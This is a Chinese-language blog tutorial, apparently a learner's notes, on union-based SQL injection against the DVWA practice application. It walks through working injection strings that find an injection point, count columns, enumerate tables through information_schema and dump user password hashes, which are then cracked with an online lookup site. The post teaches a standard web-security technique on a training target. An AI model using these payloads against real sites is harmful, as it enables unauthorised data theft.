题记:

本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得。相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门书籍,零基础XXX,从入门到放弃,收藏即学完,东一块西一块的,本人也一样,不过当做攻防世界的web题时,梳理知识总结心得的时候发现虽然之前学的零散,但现在不断融汇贯通各个知识点不断串起来,由点到线再到面的感觉,总之和大家一起探索,共同进步!!!

内心OS:卷死其他小伙伴!!!努力学习,就会有收获!!!

(一)SQL注入原理

  SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,

在不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  ****总之看到有搜索框就要留意是不是有注入点***

(二)SQL注入思路及步骤

  1.判断是否是注入点

  输入1' and 1=1#             发现没报错,正常输出

输入 1' and 1=2#  发现没正常输入内容说明此处是注入点

  2.使用判断表有多少字段(列)

数字型注入命令:1' order by [num]      num表示数字1,2,3.....一个一个网上加直到报错为止则列数为不报错最大的num

输入1' order by 3#时报错,所以有两列。

字符型注入命令:1'union select [1,2,3...num]  num表示数字1,2,3.....一个一个网上加直到不报错为止则列数为不报错的num

结果:报错

输入:1‘union select 1,2#  发现不报错。

综上可以得出列数为2,且记住它们的显示位置。  

   3.使用union联合查询其他信息,首先查看当前数据库,及用户。

  注入命令:1'union select database(),user()#

得到了数据库叫dvwa 用户名为root.接下来就准备爆库,查询看看数据库有说明表。

在mysql数据库版本大于V5.0的版本加入了information_schema的表方便查询。

注入命令:1'union select table_name,2 from information_schema.tables where table_schema=database()#

发现两个表guestbook,users,第一个是来访登记簿,第二个是用户表,显然我们需要的是用户表更有价值。

接下来,爆表,查询出表项/列(column)

注入命令:'union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'#

报出列名,其中最主要的是user,password

最后就是爆数据,显示用户名和密码。

注入命令:'union select user,password from users#

得到用户admin及密码哈希值:5f4dcc3b5aa765d61d8327deb882cf99 解密后就是password    DVWA的默认账号密码。

在线解码工具网址: https://www.cmd5.com/

======================================================================================

(三)总结

 mysql系统函数

user() :当前使用者的用户名
 
database():当前数据库名
 
version():数据库版本
 
datadir:读取数据库的绝对路径
 
@@vasedir:mysql安装路径
 
@@version_compile_os:操作系统
 
concat():连接一个或者多个字符串
 
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

Web渗透测试入门之SQL注入(上篇)的更多相关文章

  1. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  2. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  3. Kali Linux Web 渗透测试视频教程— 第二课 google hack 实战

    Kali Linux Web 渗透测试— 第二课 代理简介 文/玄魂 课程地址: http://edu.51cto.com/course/course_id-1887.html 目录 shellKal ...

  4. shellKali Linux Web 渗透测试— 初级教程(第三课)

    shellKali Linux Web 渗透测试— 初级教程(第三课) 文/玄魂 目录 shellKali Linux Web 渗透测试—初级教程(第三课) 课程目录 通过google hack寻找测 ...

  5. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  6. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  7. Web渗透测试漏洞手册及修复建议

    Web渗透测试漏洞手册及修复建议 0x0 配置管理 0x01 HTTP方法测试 漏洞介绍: 目标服务器启用了不安全的传输方法,如PUT.DELETE等,这些方法表示可能在服务器上使用了 WebDAV, ...

  8. 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细

        常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...

  9. Kali Linux Web渗透测试手册(第二版) - 1.1 - Firefox浏览器下安装一些常用的插件

    一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: l  在Windows和Linux上安装VirtualBox l  创建一个Kali Linux虚拟机 l  更新和升级Ka ...

随机推荐

  1. promise到底怎么理解

    Promise的含义promise是异步编程的一种解决方法.所谓promise,简单说是一个容器,里面保存着某个未来才会结束的事件(通常是一个异步操作)的结果,从语法上说,promise是一个对象,从 ...

  2. shell基础知识查缺补漏

    最近在看<Linux程序设计(第4版)>,其中有一个章节主要讲了shell脚本方面的,内容不细,但是利用较短的篇幅讲的也不少了.对我们自己来说也是一个查缺补漏的过程,所以就写下这篇读书笔记 ...

  3. 【刷题-LeetCode】123 Best Time to Buy and Sell Stock III

    Best Time to Buy and Sell Stock III Say you have an array for which the ith element is the price of ...

  4. Cesium中级教程4 - 空间数据可视化(二)

    Cesium中文网:http://cesiumcn.org/ | 国内快速访问:http://cesium.coinidea.com/ Viewer中的Entity功能 让我们看看Viewer为操作e ...

  5. go生成随机数字验证码

    一行代码搞定 code := fmt.Sprintf("%06v", rand.New(rand.NewSource(time.Now().UnixNano())).Int31n( ...

  6. golang中的sync

    1. Go语言中可以使用sync.WaitGroup来实现并发任务的同步 package main import ( "fmt" "sync" ) func h ...

  7. golang中的GOPATH使用和简单项目配置

    GOPATH 是 Go 语言的工作目录,他的值可以是一个目录路径,也可以是多个目录路径,每个目录都代表 go 语言的一个工作区. 我们开发 Golang 项目时,需要依赖一些别的代码包,这些包的存放路 ...

  8. openstack,docker,mesos,Kubernetes(k8s)

    作者:张乾链接:https://www.zhihu.com/question/62985699/answer/204233732来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明 ...

  9. 用8个命令调试Kubernetes集群

    如果使用任何系统的时间足够长,那么你肯定必须对其进行调试,Kubernetes也不例外.它是一个分布式系统,有许多运动部件.我们将介绍8个可以运行以调试任何Kubernetes集群的命令. 它将帮助你 ...

  10. Pandas 学习手册中文第二版·翻译完成

    原文:Learning pandas 协议:CC BY-NC-SA 4.0 欢迎任何人参与和完善:一个人可以走的很快,但是一群人却可以走的更远. 在线阅读 ApacheCN 面试求职交流群 72418 ...